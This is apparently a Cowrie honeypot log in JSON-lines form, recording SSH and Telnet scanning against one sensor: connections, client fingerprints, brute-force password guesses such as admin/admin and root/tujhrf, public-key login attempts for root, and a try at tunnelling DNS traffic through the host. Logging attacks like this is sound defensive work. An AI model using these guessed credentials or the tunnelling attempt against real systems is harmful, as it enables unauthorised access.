{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:48.677915Z","src_ip":"87.251.64.176","session":"b1e1c34adec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47172,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5d79e1cb7a7","protocol":"telnet","message":"New connection: 192.119.13.58:47172 (10.17.0.5:23) [session: c5d79e1cb7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:48.704976Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:48.974776Z","src_ip":"87.251.64.176","session":"b1e1c34adec3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:49.073950Z","session":"b1e1c34adec3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:49.172384Z","src_ip":"87.251.64.176","session":"b1e1c34adec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:49.271988Z","src_ip":"87.251.64.176","session":"b1e1c34adec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58832,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b00e962e191","protocol":"ssh","message":"New connection: 80.94.92.184:58832 (10.17.0.5:22) [session: 9b00e962e191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:53.176828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:53.266955Z","src_ip":"80.94.92.184","session":"9b00e962e191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:53.560547Z","src_ip":"80.94.92.184","session":"9b00e962e191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:55.110970Z","src_ip":"80.94.92.184","session":"9b00e962e191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:56.304052Z","src_ip":"80.94.92.184","session":"9b00e962e191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38688,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f62783b0bf0","protocol":"telnet","message":"New connection: 192.119.13.58:38688 (10.17.0.5:23) [session: 1f62783b0bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:03.058041Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":39959,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3145f66c674","protocol":"telnet","message":"New connection: 201.205.247.46:39959 (159.203.135.109:23) [session: e3145f66c674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:03.198826Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43682,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eee98d6f8d3","protocol":"telnet","message":"New connection: 192.119.13.58:43682 (10.17.0.5:23) [session: 7eee98d6f8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:03.381811Z"}
{"eventid":"cowrie.session.closed","duration":34.424909353256226,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:06.508343Z","src_ip":"192.119.13.58","session":"d85f83fed11e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.19743585586548,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:06.957586Z","src_ip":"192.119.13.58","session":"3b8c19c1f4eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":37916,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4c6b3b0cbf4","protocol":"ssh","message":"New connection: 103.27.238.116:37916 (10.17.0.5:22) [session: f4c6b3b0cbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:08.111641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:08.118257Z","src_ip":"103.27.238.116","session":"f4c6b3b0cbf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:08.392538Z","src_ip":"103.27.238.116","session":"f4c6b3b0cbf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tujhrf","message":"login attempt [root/tujhrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:09.214291Z","src_ip":"103.27.238.116","session":"f4c6b3b0cbf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:10.491280Z","src_ip":"103.27.238.116","session":"f4c6b3b0cbf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.71898031234741,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:12.280610Z","src_ip":"192.119.13.58","session":"e0456e9d6f9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60984,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa71acf8e68b","protocol":"telnet","message":"New connection: 192.119.13.58:60984 (10.17.0.5:23) [session: aa71acf8e68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:13.309013Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34432,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d37ec242579","protocol":"telnet","message":"New connection: 192.119.13.58:34432 (10.17.0.5:23) [session: 3d37ec242579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:13.730211Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38350,"dst_ip":"10.17.0.5","dst_port":23,"session":"916d856e8b25","protocol":"telnet","message":"New connection: 192.119.13.58:38350 (10.17.0.5:23) [session: 916d856e8b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:14.696254Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40498,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9cf35646c4","protocol":"telnet","message":"New connection: 192.119.13.58:40498 (10.17.0.5:23) [session: dd9cf35646c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:15.340189Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59640,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c9a4a5fafcc","protocol":"telnet","message":"New connection: 192.119.13.58:59640 (10.17.0.5:23) [session: 9c9a4a5fafcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:19.928030Z"}
{"eventid":"cowrie.session.closed","duration":38.3256471157074,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:22.604764Z","src_ip":"192.119.13.58","session":"5a7bf7d12077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57682,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c6663a6b2ab","protocol":"telnet","message":"New connection: 192.119.13.58:57682 (10.17.0.5:23) [session: 4c6663a6b2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:24.528245Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":43112,"dst_ip":"10.17.0.5","dst_port":22,"session":"e593da0f4675","protocol":"ssh","message":"New connection: 89.38.96.216:43112 (10.17.0.5:22) [session: e593da0f4675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:24.843329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:24.850115Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:24.941190Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.256415605545044,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:24.961256Z","src_ip":"192.119.13.58","session":"c5d79e1cb7a7","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:07:ba:a5:60:e5:65:ff:aa:2a:21:28:da:40:05:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7Rlv88ZWSWPbrWABPRZhMPNAeFRmXH1AABdhIHqD0/b7EH7RD3uxbBtM7CzV6WwqMmphMXG1qFrbf897VPdIXpRYz3oiVFa48jqvIsZlurr0dMJk68CxpMKsvsOENWm/1kQ/E9AXMbtw7HBkqKencSokOeWRkBj/sJ2khVfqyfaMAm8UxsUu4Qyn/OUf3mcgmG2PqIrjfwVqnfd6trmffR0UtWqnfLQwDE4PLl/YP18NBeHM5+8tH3wiFsUce2BrKfWHmd3d7FiKb2gG0iPA58175MvX2cakto41rLiHG4MA7Zyi8yrtKNQhH/5+yitIDZpTzmM4hDkVSPbBZ2cl9kyhB4fFK+Ji88FeaBjzzsFqfKJ2eDsQtdOka0VAA9rbqh3S7GyUN8Bi5VrULD4CYUtif/scn/biOXrDV116x+XBJcSNRnzUJkYg6xFbLcY7bYhtbqIN7DlA9NAXv4kj447n6v4vL02cxYvMicIH8rod9UPKh0GV4qNfLBW5nAJiiSAcqgke8C+V74hDJZFaA79xdJcHl1kOu+tKp13OiePZqj4HnEPocyAeAtocBfho+vQ03q9oDeJZJIZLIx8fEQGjtDOiX6IN/TaeHoDC9Oy6Cyta2FmLo5zU8nhvtVA9ztLwJTbUoEmzElljojqPBSiTO28BfkxJhPxRfFb8qNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:07:ba:a5:60:e5:65:ff:aa:2a:21:28:da:40:05:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.361712Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:07:ba:a5:60:e5:65:ff:aa:2a:21:28:da:40:05:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7Rlv88ZWSWPbrWABPRZhMPNAeFRmXH1AABdhIHqD0/b7EH7RD3uxbBtM7CzV6WwqMmphMXG1qFrbf897VPdIXpRYz3oiVFa48jqvIsZlurr0dMJk68CxpMKsvsOENWm/1kQ/E9AXMbtw7HBkqKencSokOeWRkBj/sJ2khVfqyfaMAm8UxsUu4Qyn/OUf3mcgmG2PqIrjfwVqnfd6trmffR0UtWqnfLQwDE4PLl/YP18NBeHM5+8tH3wiFsUce2BrKfWHmd3d7FiKb2gG0iPA58175MvX2cakto41rLiHG4MA7Zyi8yrtKNQhH/5+yitIDZpTzmM4hDkVSPbBZ2cl9kyhB4fFK+Ji88FeaBjzzsFqfKJ2eDsQtdOka0VAA9rbqh3S7GyUN8Bi5VrULD4CYUtif/scn/biOXrDV116x+XBJcSNRnzUJkYg6xFbLcY7bYhtbqIN7DlA9NAXv4kj447n6v4vL02cxYvMicIH8rod9UPKh0GV4qNfLBW5nAJiiSAcqgke8C+V74hDJZFaA79xdJcHl1kOu+tKp13OiePZqj4HnEPocyAeAtocBfho+vQ03q9oDeJZJIZLIx8fEQGjtDOiX6IN/TaeHoDC9Oy6Cyta2FmLo5zU8nhvtVA9ztLwJTbUoEmzElljojqPBSiTO28BfkxJhPxRfFb8qNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.366411Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:3e:ad:8e:54:ed:8c:80:47:be:16:56:a2:6b:6c:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRlVJV1XVaXJpMoWv8V8KeM5OmLZZ6nLFb3SCKjEqq3r9BbVDBhvyAkVCk1qP9M6Dd3ci7ZFt5lBRZdpgsIjoiMPb+X4vfPUKWbW1fNVVSjhwG8CQBnlsCJLrJSMSkwQ6GnwlA0tclNwXX5pRZZzIGN4hKoyEaiWDNk5n47JfHuETjlYdlZL7zJ2OvwdN2LsmvLl1bNVy8QQa7r+zjYJpTyyZSv36U2A2vZRp7p3ppZ7c2GxCz9w+qQYesgWt7TktUMXwN98a/8a5xBUaRoxa2m3TufzGWyb5mlrn/bmSNOR4kosjLw/IhoXFFw38e83gN0iyx7MSl1KDTEGBbLz95","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:3e:ad:8e:54:ed:8c:80:47:be:16:56:a2:6b:6c:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.456581Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:3e:ad:8e:54:ed:8c:80:47:be:16:56:a2:6b:6c:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRlVJV1XVaXJpMoWv8V8KeM5OmLZZ6nLFb3SCKjEqq3r9BbVDBhvyAkVCk1qP9M6Dd3ci7ZFt5lBRZdpgsIjoiMPb+X4vfPUKWbW1fNVVSjhwG8CQBnlsCJLrJSMSkwQ6GnwlA0tclNwXX5pRZZzIGN4hKoyEaiWDNk5n47JfHuETjlYdlZL7zJ2OvwdN2LsmvLl1bNVy8QQa7r+zjYJpTyyZSv36U2A2vZRp7p3ppZ7c2GxCz9w+qQYesgWt7TktUMXwN98a/8a5xBUaRoxa2m3TufzGWyb5mlrn/bmSNOR4kosjLw/IhoXFFw38e83gN0iyx7MSl1KDTEGBbLz95","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.460498Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:e2:cb:cf:d7:04:89:63:75:30:7e:b0:0f:42:e4:bf","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICrfCu/um74AXEfeRChwkwul7NnoFn/Torl0e7LNqE09","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 27:e2:cb:cf:d7:04:89:63:75:30:7e:b0:0f:42:e4:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.549700Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:e2:cb:cf:d7:04:89:63:75:30:7e:b0:0f:42:e4:bf","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICrfCu/um74AXEfeRChwkwul7NnoFn/Torl0e7LNqE09","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.554046Z","src_ip":"89.38.96.216","session":"e593da0f4675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":29207,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c04fb6ce32e","protocol":"ssh","message":"New connection: 2.57.121.112:29207 (159.203.135.109:22) [session: 8c04fb6ce32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.602472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:02:25.609607Z","src_ip":"2.57.121.112","session":"8c04fb6ce32e","protocol":"ssh"}
